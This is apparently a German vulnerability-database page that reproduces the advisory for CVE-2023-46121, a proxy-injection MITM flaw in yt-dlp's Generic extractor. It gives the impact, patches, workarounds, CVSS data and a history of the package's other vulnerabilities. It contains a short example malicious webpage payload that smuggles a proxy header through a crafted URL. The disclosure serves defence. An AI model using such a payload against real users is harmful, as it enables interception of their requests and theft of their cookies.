Mittel

yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection

  • Veröffentlicht: 15.11.2023
  • Aktualisiert: 11.10.2026 15:17

Impact

The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.

<details>

To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.

Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.

Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.

However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.

This could allow for the following, but not limited too:

  • An attacker can MITM a request it asks yt-dlp to make to any website.
    • If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker.
    • Fortunately most sites are HTTPS and should be setting cookies as secure.
  • An attacker can set cookies for an arbitrary site.

An example malicious webpage:

html
<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')

Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.

</details>

Patches

  • We have removed the ability to smuggle http_headers to the Generic extractor, as well as other extractors that use the same pattern.

Workarounds

  • Disable Generic extractor (--ies default,-generic), or only pass trusted sites with trusted content.
  • Take caution when using --no-check-certificate.

References

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) yt-dlp >= 2022.10.04, < 2023.11.14 2023.11.14

Verweise

CVSS-Wert 5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Schwäche (CWE)
CWE-444, CWE-613
Plattform
Python (PyPI)
Paket
yt-dlp
Veröffentlicht
15.11.2023
Aktualisiert
11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2063 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-3ch3-jhc6-5r8x - CC BY 4.0

Schwachstellenhistorie: yt-dlp

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (12) im Archiv
Einträge insgesamt
12
Erste → letzte
07.2023 07.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 8
  • Mittel 3
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2023: 3
  2. 2024: 3
  3. 2025: 0
  4. 2026: 6
Schweregrad:
  1. Hoch · 7.5 ghsa-69qj-pvh9-c5wg >= 2021.4.11, < 2026.6.9 2026.6.9
  2. Hoch · 8.3 CVE-2026-50574 < 2026.6.9 2026.6.9
  3. Hoch · 8.8 CVE-2026-26331 >= 2023.06.21, < 2026.02.21 2026.02.21
  4. Hoch · 8.3 CVE-2024-22423 >= 2021.04.11, < 2024.04.09 2024.04.09
  5. yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection dieser Eintrag
    Mittel · 5.0 CVE-2023-46121 >= 2022.10.04, < 2023.11.14 2023.11.14
  6. Hoch · 8.3 CVE-2023-40581 >= 2021.04.11, < 2023.09.24 2023.09.24

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.